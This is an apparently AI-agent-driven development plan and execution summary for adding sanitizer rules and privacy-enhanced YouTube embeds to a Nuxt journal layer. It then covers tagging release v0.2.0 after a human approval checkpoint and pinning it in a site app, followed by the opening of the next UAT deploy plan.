<fails_when>No "# fail 0" line in the TAP summary: an embeds or mirror test failed (a corpus entry is unsafe, the placeholder does not survive two sanitizer passes, a negative case is no longer stripped, or a stored iframe reaches the output), or an existing htmlGate, postView, routes, seo, sitemap, i18n, pagination or client test failed.</fails_when>
<automated>pnpm -C ../vue-journal-layer install --frozen-lockfile &amp;&amp; pnpm -C ../vue-journal-layer run build:playground &amp;&amp; node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt 2&gt;&amp;1 | grep '^smoke-ssr: ok ('</automated>
<fails_when>No line starting with "smoke-ssr: ok (": the playground build failed, or an expectation failed (the new youtube-nocookie line on /blog/hello-acme, or an existing one such as /blog/unsafe-sample containing <p>Before</p><p>After</p> without alert().</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "export function expandEmbeds" ../vue-journal-layer/app/utils/embeds.ts` prints one line.
- `grep -c "expandEmbeds" ../vue-journal-layer/app/components/Journal/PostBody.vue ../vue-journal-layer/app/components/Journal/CategoryHeader.vue` reports at least 1 for each file, and `grep -c "expandEmbeds" ../vue-journal-layer/app/utils/postView.ts ../vue-journal-layer/app/journal-pages/CategoryPage.vue` reports 0 for each (no expansion before the sink's sanitizer).
- `grep -n "data-embed" ../vue-journal-layer/app/utils/htmlGate.ts` prints at least one line, and `cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` exits 0.
<!-- planner-discipline-allow: expandEmbeds -->
- `grep -n "youtube-nocookie.com/embed/dQw4w9WgXcQ" ../vue-journal-layer/testing/expect-acme.txt` prints one line.
- The node test summary shows "# fail 0" and includes the embeds tests; smoke-ssr passes against the built playground.
</acceptance_criteria>
<done>The layer's sanitizer keeps exactly the editor's own markup, a placeholder in a stored post renders as a youtube-nocookie iframe in the SSR page, malformed placeholders stay inert, and raw iframes are still stripped.</done>
</task>
<task type="checkpoint:decision" gate="blocking-human">
<name>Task 2: Approve pushing vue-journal-layer v0.2.0 and the site app pin</name>
<precondition>Task 1's two verify commands passed.</precondition>
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../vue-journal-layer/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json</read_first>
<action>Automate the checks, then stop. In ../vue-journal-layer: `git status --porcelain` prints nothing; `git fetch origin --tags`; `git log --oneline HEAD..origin/main` prints nothing (if it prints commits, stop and report); `git ls-remote --tags origin refs/tags/v0.2.0` prints nothing. Set package.json version to 0.2.0 and commit it as "chore: release v0.2.0". In the app submodule: `git status --porcelain` prints nothing and `git log --oneline HEAD..origin/main` prints nothing. Print the release sheet: the layer commits to push (`git log --oneline origin/main..HEAD`), the tag name and message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes", the app change (pin #v0.1.1 to #v0.2.0 plus the regenerated lockfile), and the rollback (a defect means v0.2.1; the app pin can go back to #v0.1.1). Stop for the human.</action>
<decision>Push vue-journal-layer main and the annotated tag v0.2.0, then push the vue-grzybyfunkcjonalne-app pin bump?</decision>
<context>A pushed tag is installed by consumer lockfiles (git+https ... #v0.2.0) and cannot be moved, only superseded. The site app's main (today ada03b2, pinning #v0.1.1) is what plan 05 deploys to UAT through the host gitlink. The embed expansion and the four mirror rules are harmless before any post holds editor markup.</context>
<options>
<option id="push">
<name>Push now</name>
<pros>The site can render embeds as soon as plan 05 deploys; check-git-install proves the tag installs anonymously</pros>
<cons>The tag is permanent</cons>
</option>
<option id="hold">
<name>Hold the tag</name>
<pros>Nothing leaves this machine</pros>
<cons>Plan 05 cannot bump the app gitlink to an app that pins v0.2.0; embeds would not render on UAT</cons>
</option>
</options>
<resume-signal>Reply "push" or "hold".</resume-signal>
<verify>
<automated>test -z "$(git -C ../vue-journal-layer status --porcelain)" &amp;&amp; test -z "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0)" &amp;&amp; grep -q '"version": "0.2.0"' ../vue-journal-layer/package.json &amp;&amp; test -z "$(git -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app status --porcelain)" &amp;&amp; echo push-precheck-ok</automated>
<fails_when>Non-zero exit or "push-precheck-ok" absent: the layer or app tree is dirty, the tag already exists on origin, or the version bump is missing.</fails_when>
</verify>
<acceptance_criteria>
- push-precheck-ok was printed.
- The SUMMARY records the release sheet and the human's reply verbatim.
</acceptance_criteria>
<done>A human chose push or hold (hold stops the plan and is reported to plan 05).</done>
</task>
<task type="auto">
<name>Task 3: Push the layer tag, prove the git install, pin v0.2.0 in the site app</name>
<reversibility rating="one-way">The annotated tag v0.2.0 is consumed by lockfiles that pin its commit; it can only be superseded by v0.2.1.</reversibility>
<precondition>Task 2 was answered "push"; `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` still prints nothing.</precondition>
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml</files>
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts (needs a build first), ../sm-grzybyfunkcjonalne-app/scripts/build.sh (how the host builds the app: pnpm install --frozen-lockfile)</read_first>
<action>Release the layer (per D-17): in ../vue-journal-layer create the annotated tag with git tag -a v0.2.0 and the message from Task 2, then git push origin main and git push origin v0.2.0; run bash scripts/check-git-install.sh v0.2.0 (a scratch app installs the tag anonymously, the lockfile pins the tag commit, nuxt build and the acme SSR expectations, including the new embed line, pass).
Pin in the site app: in ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app change the vue-journal-layer dependency from #v0.1.1 to git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0, run pnpm install to regenerate pnpm-lock.yaml (it must record the tag's commit), then pnpm build and pnpm test (unit and SSR tests against the built output). Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.2.0 (Journal embeds)" and push origin main. Record both pushed heads and the tag commit in the SUMMARY.</action>
<verify>
<automated>bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0</automated>
<fails_when>Non-zero exit: the tag is not on origin, the scratch lockfile pins another commit, nuxt build fails, or an acme SSR expectation fails.</fails_when>
<automated>cd ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app &amp;&amp; grep -q 'vue-journal-layer.git#v0.2.0' package.json &amp;&amp; pnpm install --frozen-lockfile &amp;&amp; pnpm build &amp;&amp; pnpm test &amp;&amp; test "$(git rev-parse HEAD)" = "$(git rev-parse origin/main)" &amp;&amp; echo app-pin-ok</automated>
<fails_when>Non-zero exit or "app-pin-ok" absent: the pin is missing, the lockfile is out of date, the build or a unit or SSR test fails, or the app commit was not pushed.</fails_when>
</verify>
<acceptance_criteria>
- `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` prints a line, and check-git-install.sh v0.2.0 passes.
- The app package.json pins #v0.2.0, pnpm-lock.yaml records the tag's commit, and app main equals origin/main.
- The SUMMARY records the layer tag commit, the layer and app heads pushed.
</acceptance_criteria>
<done>vue-journal-layer v0.2.0 is published and installable, and the site app pins it on its pushed main.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| Journal API content_html → site v-html | stored HTML (admin-written or imported) becomes page markup |
| site page → youtube-nocookie.com | the visitor's browser loads a third-party frame |
| executor → git origin | the layer tag and the app main are read by other builds |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.2-19 | Tampering (iframe injection) | expandEmbeds | high | mitigate | Exact-markup regex, provider allowlist and an id pattern; the iframe src is built from a fixed host plus the validated id; anything else stays inert; tests cover malformed ids, unknown providers and extra attributes |
| T-16.2-20 | Elevation of Privilege | sanitize-then-expand order | high | mitigate | sanitizeJournalHtml runs first at each v-html sink and expandEmbeds is the last step, so stored raw iframes are stripped and the only iframe is the one built from a validated placeholder; expansion never happens in a payload transform (acceptance grep); tests compose the sink and the payload-then-sink pipelines |
| T-16.2-32 | Tampering (stored XSS) / policy drift | htmlGate.ts mirror extension | high | mitigate | Exactly the four editor-output rules the Go policy gains in plan 03, with the same patterns; no iframe, URL scheme, style or other data attribute; every corpus entry (byte copy of plan 02's corpus, compared with cmp here and in the plan 06 gate) is safe, and the negative cases stay stripped |
| T-16.2-21 | Information Disclosure (visitor privacy) | YouTube frame | low | mitigate | youtube-nocookie.com privacy-enhanced domain, lazy loading, strict-origin-when-cross-origin referrer policy; the site's report-only CSP allows frames only from that host (frame-src, added by plan 05) |
| T-16.2-22 | Tampering / Repudiation | tag and pushes | medium | mitigate | Clean trees and an absent tag checked at a blocking-human checkpoint; check-git-install proves the published tag; heads recorded in the SUMMARY |
| T-16.2-SC | Tampering | npm/pnpm installs | high | mitigate | No new package: the layer adds no dependency; the app only changes its pin to the project's own layer tag and regenerates the lockfile with pnpm |
</threat_model>
<verification>
- Task 1: node tests ("# fail 0") and the playground SSR smoke pass.
- Task 2: push-precheck-ok and a human decision.
- Task 3: check-git-install v0.2.0 passes and the app pin builds, tests and is pushed.
</verification>
<success_criteria>
- D-17: embeds render on the site through the layer, v0.2.0 is published and pinned in the app.
- D-05: the sanitizer mirrors the Go policy's four editor-output rules and nothing more, still runs first at every sink, and expansion is last.
</success_criteria>
<output>
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md` when done, with the human reply, the tag commit, the pushed heads and the SSR smoke output.
</output>

View File

@@ -0,0 +1,247 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 04
subsystem: journal-frontend
tags: [vue-journal-layer, nuxt, sanitize-html, embeds, youtube-nocookie, release, pnpm, vue-grzybyfunkcjonalne-app]
requires:
- phase: 16.2-02
provides: tests/blogeditor/fixtures/editor-corpus.json (the Blog Editor's output corpus) and the placeholder format <figure data-embed="youtube" data-id="ID"></figure>
- phase: 16.1
provides: sanitize-html 2.18.0 mirror (htmlGate.ts, decision note 0001-sanitize-html.md), layer tag v0.1.1, app pin #v0.1.1
provides:
- "vue-journal-layer htmlGate.ts mirror of the Go editor-output extension: figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER"
- "vue-journal-layer app/utils/embeds.ts: EMBED_PLACEHOLDER, EMBED_PROVIDERS (youtube only), expandEmbeds(html)"
- "JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)); expansion is last, payload transforms only sanitize"
- "CSS classes .journal-embed and .journal-embed--youtube (16 / 9 frame)"
- "tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus"
- "Annotated tag vue-journal-layer v0.2.0 (tag object 042b65d0, commit 759e684e) on origin, installable anonymously over git+https"
- "vue-grzybyfunkcjonalne-app main 465286a pins #v0.2.0 with a lockfile resolving to 759e684e"
affects: [16.2-05, 16.2-06, vue-journal-layer, vue-grzybyfunkcjonalne-app]
actuals:
tokens: 9700
tasks: 3
commits: 3
plan_head_before: 294a8d8b19b999d54cc3b1266d0f42968159f5f2
plan_head_after: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f
commits_repo: ../vue-journal-layer
app_head_before: ada03b202bdfce2c09812dc81c58b0890cf4b86b
app_head_after: 465286a880f0aae6118c2915aa1475a5da353295
app_commits_repo: ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
app_commits: 1
tech-stack:
added: []
patterns:
- "Sanitize first, expand last: the v-html sink runs sanitizeJournalHtml and then expandEmbeds; nothing sanitizes after expansion, and payload transforms never expand"
- "Exact-markup placeholder expansion: one global RegExp matching the sanitizer's serialization, a provider allowlist with an id pattern, and an iframe src built from a fixed host plus the validated id; any other match is returned unchanged"
- "Mirror pinned by the editor's corpus: the layer keeps a byte copy of the Go side's corpus and every entry must be safe under gateJournalHtml"
key-files:
created:
- ../vue-journal-layer/app/utils/embeds.ts
- ../vue-journal-layer/tests/embeds.test.ts
- ../vue-journal-layer/tests/fixtures/editor-corpus.json
modified:
- ../vue-journal-layer/app/utils/htmlGate.ts
- ../vue-journal-layer/app/components/Journal/PostBody.vue
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
- ../vue-journal-layer/app/assets/css/journal-base.css
- ../vue-journal-layer/tests/htmlGate.test.ts
- ../vue-journal-layer/testing/fixtures/acme/posts.json
- ../vue-journal-layer/testing/expect-acme.txt
- ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
- ../vue-journal-layer/README.md
- ../vue-journal-layer/package.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
key-decisions:
- "The layer mirror gained exactly the four editor-output rules of the Go policy (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER); no fifth rule was needed for the corpus"
- "Embed expansion runs only at the v-html sinks, after sanitizeJournalHtml; the payload (toPostView, CategoryPage) carries the placeholder, never the iframe"
- "Human approved the one-way release at the Task 2 blocking-human checkpoint with the reply \"push\"; vue-journal-layer v0.2.0 is published and any later defect gets v0.2.1"
- "The release commit also moved the README install line from #v0.1.0 to #v0.2.0 so the documented pin matches the published tag"
patterns-established:
- "A layer release is a separate 'chore: release vX.Y.Z' commit (package.json version plus README install line), tagged annotated, pushed after a blocking-human checkpoint, proven by scripts/check-git-install.sh, then pinned in the consuming app with a regenerated lockfile"
requirements-completed: [D-05, D-17]
coverage:
- id: D1
description: "htmlGate.ts mirrors the Go editor-output extension and nothing more; every corpus entry is safe, the placeholder survives two sanitizer passes, negative cases (other provider, 10/12-char id, data-id on div, other data attributes, iframe, ol start=x) are stripped"
requirement: "D-05"
verification:
- kind: unit
ref: "../vue-journal-layer/tests/htmlGate.test.ts (npm test: 136 pass, 0 fail)"
status: pass
- kind: other
ref: "cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (exit 0)"
status: pass
human_judgment: false
- id: D2
description: "expandEmbeds turns only the exact allowlisted placeholder into a youtube-nocookie iframe, last at the post and category sinks; a raw stored iframe is stripped before expansion"
requirement: "D-17"
verification:
- kind: unit
ref: "../vue-journal-layer/tests/embeds.test.ts (npm test: 136 pass, 0 fail)"
status: pass
- kind: integration
ref: "node testing/smoke-ssr.mjs against the built playground: smoke-ssr: ok (29 checks), including 200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ"
status: pass
human_judgment: false
- id: D3
description: "vue-journal-layer v0.2.0 is an annotated tag on origin and installs anonymously; the scratch lockfile pins the tag commit and the acme SSR expectations pass"
requirement: "D-17"
verification:
- kind: integration
ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0 -> check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f"
status: pass
human_judgment: false
- id: D4
description: "vue-grzybyfunkcjonalne-app main pins #v0.2.0, its lockfile resolves to 759e684e, it builds, its unit and SSR tests pass, and main equals origin/main"
requirement: "D-17"
verification:
- kind: integration
ref: "Task 3 app verify command -> # pass 26, # fail 0, app-pin-ok; pnpm run smoke:ssr -> smoke-ssr: ok (37 checks)"
status: pass
human_judgment: false
- id: D5
description: "A Blog Editor YouTube embed plays on the deployed grzybyfunkcjonalne.pl UAT page"
requirement: "D-17"
verification: []
human_judgment: true
rationale: "The UAT deploy and the CSP frame-src https://www.youtube-nocookie.com addition belong to plan 05; a real browser on the deployed site is needed to confirm the frame loads"
duration: "about 50 min across two executor runs (Task 3 continuation 7 min)"
completed: 2026-10-10
status: complete
---
# Phase 16.2 Plan 04: Journal Embeds in the Nuxt Layer Summary
**vue-journal-layer v0.2.0 keeps the Blog Editor's markup through its sanitize-html mirror (four rules matching the Go policy) and expands `<figure data-embed="youtube" data-id="…">` placeholders into youtube-nocookie iframes as the last step before v-html. The tag is published and installs anonymously, and vue-grzybyfunkcjonalne-app main pins it.**
## Performance
- **Duration:** about 50 min over two executor runs. The first run covered Task 1, the release commit and the Task 2 checkpoint (layer commits at 10:19Z). This continuation ran Task 3 from 2026-10-10T11:01:53Z to about 11:08Z.
- **Started:** about 2026-10-10T10:14Z, after plan 03 closed. The prior run did not record an exact start time.
- **Completed:** 2026-10-10T11:10Z
- **Tasks:** 3/3 (Task 1 tracer, Task 2 blocking-human decision, Task 3 release)
- **Files modified:** 15 (13 in vue-journal-layer, 2 in vue-grzybyfunkcjonalne-app)
## Accomplishments
- **Mirror (D-05 amended).** `htmlGate.ts` gained exactly the four editor-output rules that plan 03 added to the Go bluemonday policy: figure `data-embed` `^youtube$`, figure `data-id` `^[A-Za-z0-9_-]{11}$`, img `alt` free text and ol `start` INTEGER. Every entry of the byte-copied corpus is safe. The Policy section of decision note 0001 lists the four additions.
- **Embeds (D-17).** `app/utils/embeds.ts` exports `EMBED_PLACEHOLDER`, `EMBED_PROVIDERS` (YouTube only) and `expandEmbeds`. The iframe src is the fixed host `https://www.youtube-nocookie.com/embed/` plus the validated id, and the iframe gets lazy loading, a strict-origin-when-cross-origin referrer policy and a restricted `allow` list.
- **Order.** `JournalPostBody` and `JournalCategoryHeader` render `expandEmbeds(sanitizeJournalHtml(html))`. `toPostView` and `CategoryPage.vue` only sanitize. A raw iframe in stored HTML is stripped before expansion.
- **SSR proof.** The acme fixture post `hello-acme` carries a placeholder, and the built playground renders the iframe for it.
- **Release.** Annotated tag `v0.2.0` is on origin and `check-git-install.sh v0.2.0` passes.
- **App pin.** The site app pins `#v0.2.0` on its pushed main, with a lockfile that resolves to the tag commit.
## Task Commits
| Task | Name | Repo | Commit |
|---|---|---|---|
| 1 | Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe | vue-journal-layer | `a6ee443` (feat) |
| 2 | Approve pushing vue-journal-layer v0.2.0 and the site app pin (prep: release commit) | vue-journal-layer | `759e684` (chore: release v0.2.0) |
| 3 | Push the layer tag, prove the git install, pin v0.2.0 in the site app | vue-grzybyfunkcjonalne-app | `465286a` (chore(deps)) |
Task 3 also created the annotated tag `v0.2.0` (tag object `042b65d072f276f7ee6f1d8bc6f66f518411161e`, peeled commit `759e684e862bd8a2f34e2bbcdf258f66aeddad4f`).
**Pushed heads:**
- vue-journal-layer `main`: `294a8d8..759e684` (`759e684e862bd8a2f34e2bbcdf258f66aeddad4f`) and tag `v0.2.0`, pushed to git@git.golem15.com:golem15/vue-journal-layer.git.
- vue-grzybyfunkcjonalne-app `main`: `ada03b2..465286a` (`465286a880f0aae6118c2915aa1475a5da353295`), pushed to git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git.
The summercms.go host gitlink and the sm-grzybyfunkcjonalne-app host gitlink were not touched. Plan 05 bumps them.
## Evidence
**Task 1 (tracer):**
- `npm test`: 136 pass, 0 fail.
- `pnpm install --frozen-lockfile` and `build:playground`: OK.
- `smoke-ssr: ok (29 checks)`, including `200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ`.
- `cmp tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`: exit 0.
- Exactly four mirror rules were added: figure data-embed `^youtube$`, figure data-id `^[A-Za-z0-9_-]{11}$`, img alt FREE_TEXT, ol start INTEGER.
**Task 2 (checkpoint:decision, gate blocking-human):**
- The verify command printed `push-precheck-ok`.
- Release sheet:
- Layer commits to push: `a6ee443` feat, `759e684` chore: release v0.2.0.
- Tag `v0.2.0`, message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes".
- App change: pin `#v0.1.1` to `#v0.2.0`, plus the regenerated lockfile.
- Rollback: a defect means v0.2.1, and the app pin can go back to `#v0.1.1`.
- Human reply, verbatim: "push"
**Task 3 (release):**
- Re-check before tagging: `git ls-remote --tags origin refs/tags/v0.2.0` was empty, the layer and app trees were clean, and neither was behind origin/main.
- `git ls-remote --tags origin`: `042b65d0… refs/tags/v0.2.0` and `759e684e… refs/tags/v0.2.0^{}`.
- `bash scripts/check-git-install.sh v0.2.0`: `smoke-ssr: ok (29 checks)`, then `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
- App `pnpm install`: `- vue-journal-layer 0.1.0` / `+ vue-journal-layer 0.2.0`. The lockfile diff only touches the layer's specifier, version and resolution `commit: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
- App verify (`grep pin && pnpm install --frozen-lockfile && pnpm build && pnpm test && HEAD == origin/main`): `# pass 26`, `# fail 0`, `app-pin-ok`.
- App `pnpm run smoke:ssr` (extra check): `smoke-ssr: ok (37 checks)`.
## Files Created/Modified
- `../vue-journal-layer/app/utils/embeds.ts`: placeholder RegExp, provider allowlist and `expandEmbeds`.
- `../vue-journal-layer/app/utils/htmlGate.ts`: figure and ol entries and the widened img alt rule.
- `../vue-journal-layer/app/components/Journal/PostBody.vue` and `CategoryHeader.vue`: sanitize, then expand, then v-html.
- `../vue-journal-layer/app/assets/css/journal-base.css`: `.journal-embed` frame at a 16 / 9 aspect ratio.
- `../vue-journal-layer/tests/embeds.test.ts`, `tests/htmlGate.test.ts` and `tests/fixtures/editor-corpus.json`: transform, pipeline and mirror tests, plus the corpus copy.
- `../vue-journal-layer/testing/fixtures/acme/posts.json` and `testing/expect-acme.txt`: the SSR fixture and its expectation.
- `../vue-journal-layer/docs/decisions/0001-sanitize-html.md` and `README.md`: the Policy additions and the Embeds section.
- `../vue-journal-layer/package.json`: version 0.2.0.
- `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` and `pnpm-lock.yaml`: the `#v0.2.0` pin, resolving to 759e684e.
## Decisions Made
- The mirror has exactly four rules, matching the Go policy. The corpus needed no fifth rule.
- Expansion happens only at the sinks and comes last, so the payload carries the placeholder and never an iframe.
- The release is a separate commit, and the README install line moves with the version.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 2 - Correctness] README install line bumped with the version**
- **Found during:** Task 2 (release prep, prior run)
- **Issue:** The plan's release commit changes only the package.json version, but the README install snippet still pinned `#v0.1.0`. A consumer copying it would install an outdated layer.
- **Fix:** The release commit also changes the README install line from `#v0.1.0` to `#v0.2.0`.
- **Files modified:** ../vue-journal-layer/README.md
- **Committed in:** `759e684` (chore: release v0.2.0)
**2. [Rule 3 - Blocking] check-git-install could not write the shared /tmp pnpm store**
- **Found during:** Task 3
- **Issue:** The script's scratch app lives under `$TMPDIR` (/tmp), where pnpm picks the store `/tmp/.pnpm-store/v11`. On this machine another local user (`jin`) owns that store, so `pnpm install` failed with `ERR_SQLITE_ERROR attempt to write a readonly database`. The tag was not the cause.
- **Fix:** I re-ran the unchanged script with `TMPDIR` and `npm_config_store_dir`/`pnpm_config_store_dir` pointing into the session scratchpad. The script, the tag and the remote were not touched.
- **Files modified:** none
- **Verification:** `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`
---
**Total deviations:** 2 (1 correctness, 1 environment blocker).
**Impact on plan:** No change to the shipped code. The tag was created and pushed exactly as planned, with no moved tag and no force-push.
## Issues Encountered
- On this machine, `scripts/check-git-install.sh` fails under the default `/tmp` because the store there belongs to another user (see deviation 2). This is a machine-local environment issue, not a layer defect. Anyone re-running the script here should set `npm_config_store_dir`, or a `TMPDIR` whose pnpm store they own.
## User Setup Required
None. No external service configuration is required.
## Next Phase Readiness
- Plan 05 can bump the sm-grzybyfunkcjonalne-app host gitlink to app `465286a`. It also needs to add `frame-src https://www.youtube-nocookie.com` to the report-only CSP, then deploy to UAT.
- The plan 06 phase gate can `cmp` the layer corpus copy against `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`.
---
*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
*Completed: 2026-10-10*
## Self-Check: PASSED
- FOUND: ../vue-journal-layer/app/utils/embeds.ts, tests/embeds.test.ts, tests/fixtures/editor-corpus.json
- FOUND commits: a6ee443, 759e684 (vue-journal-layer), 465286a (vue-grzybyfunkcjonalne-app)
- expandEmbeds count 0 in postView.ts and CategoryPage.vue; app pin #v0.2.0 present; corpus cmp exit 0

View File

@@ -0,0 +1,265 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 05
type: execute
wave: 3
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04"]
files_modified:
- ../sm-journal-plugin/go.mod
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
- ../sm-grzybyfunkcjonalne-app/README.md
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
autonomous: false
requirements: [D-02, D-03, D-05, D-07, D-10, D-17, D-18, D-19]
user_setup:
- service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
why: "The executor holds no UAT basic-auth or admin credentials; a human re-saves imported posts untouched, edits a test post with the Blog Editor (including a save that must strip markup and report it) and checks the public page (D-03, D-05, D-10, D-17, D-18)"
dashboard_config:
- task: "Log in to the admin through the UAT basic-auth realm with an admin account that may publish"
location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
estimate:
tokens: 55000
raw_tokens: 55000
tasks: 3
confidence: low
must_haves:
truths:
- "Release (16.1 D-04 pattern): an annotated summercms tag (v0.1.18, or the next free v0.1.x if the concurrent session tagged first; v0.1.17 is the 16.1 security release) contains every plan 01 commit and is on origin; sm-journal-plugin main with plans 02 and 03 and a go.mod require of that tag is on origin; the host's plugins/golem15/journal and vue-grzybyfunkcjonalne-app gitlinks point at the pushed heads."
- "Release: UAT runs a binary and Nuxt output built by scripts/build.sh from those heads; the server binary's sha256 equals the local build, both supervisor programs are RUNNING, the previous binary and Nuxt output are kept for rollback, and the on-server smoke ends with 'smoke: ok ('."
- "D-03 and todo journal-imported-html-admin-resave on UAT: after a human saves post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer; its content_html was re-rendered in 16.1 without the style block, whose CSS now lives in the app's base.css) and one HTML post without editing, md5(content), md5(content_html) and the md5 of their translation rows are unchanged; the read-only snapshot taken first records post 64's current state (whether content and content_html contain a style element) instead of assuming it."
- "D-02, D-05 and D-18 on UAT: a test post edited in the Blog Editor with an uploaded image (alt and caption) and a YouTube embed stores content equal to content_html, containing data-embed=\"youtube\", a figcaption and an image URL under /storage/app/uploads/public/journal/posts/."
- "D-10 on UAT (amended): a save of the test post after a style block and an onclick attribute were added in the source tab succeeds, the admin sees a notice naming the removed style element and onclick attribute, the editor reloads without them, and the stored content and content_html are equal and contain neither."
- "D-17 on UAT: while the test post is published, its public page served on the server contains an iframe on https://www.youtube-nocookie.com/embed/."
- "Release gate: the human chooses release-now or docker-first after seeing which Postgres suites could not run here and any open high finding of a code or security review."
artifacts:
- path: "../sm-journal-plugin/go.mod"
provides: "nominal require of the release tag (the go.work replace to ../summercms.go stays)"
contains: "git.golem15.com/golem15/summercms v0.1."
key_links:
- from: "../sm-grzybyfunkcjonalne-app/plugins/golem15/journal (gitlink)"
to: "sm-journal-plugin origin/main"
via: "submodule pointer bump committed and pushed in the host"
pattern: "plugins/golem15/journal"
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app (gitlink)"
to: "vue-grzybyfunkcjonalne-app origin/main pinning vue-journal-layer v0.2.0 (plan 04)"
via: "submodule pointer bump committed and pushed in the host"
pattern: "vue-grzybyfunkcjonalne-app"
prohibitions:
- statement: "The executor runs only SELECT queries on the UAT database; post data changes only through human admin saves."
status: unresolved
verification: judgment
- statement: "The live Winter site, its vhost, php-fpm and the PHP database are not touched by the redeploy (Phase 16 D-10)."
status: unresolved
verification: judgment
- statement: "The executor never requests, prints, stores or commits a credential (UAT basic auth, admin password, server .env)."
status: unresolved
verification: judgment
- statement: "No pushed tag is moved or deleted; a defect after the push gets the next tag."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
This plan's slice (user decision 3, plan 05; the 16.1-02 pattern): release the framework, the plugin and the site, redeploy UAT, and prove on the real imported data that untouched saves are byte-identical and that editing, uploads and embeds work.
## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
16.1 closed after this plan was written. The release facts below are refreshed: v0.1.17 is taken, so this phase tags v0.1.18 or the next free tag; the plugin head is c60abc6; the layer is at v0.1.1. Posts 53 and 64 were re-saved on UAT, so post 64's content_html no longer has its style block, and the snapshot records its state read-only instead of assuming it. The UAT refusal step is replaced by a strip-and-report step (amended D-10). The public vhost now sends a report-only CSP, so the host commit also allows the youtube-nocookie frame.
Wave order: 01 and 02 (wave 1), 03 and 04 (wave 2; 04 needs plan 02's editor corpus), this plan (wave 3), 06 unit tests (wave 4). CLAUDE.md lean rule 3 keeps the unit-test plan last; as in 16.1 the release does not wait for it, and plan 06's tests ship with the next tag.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
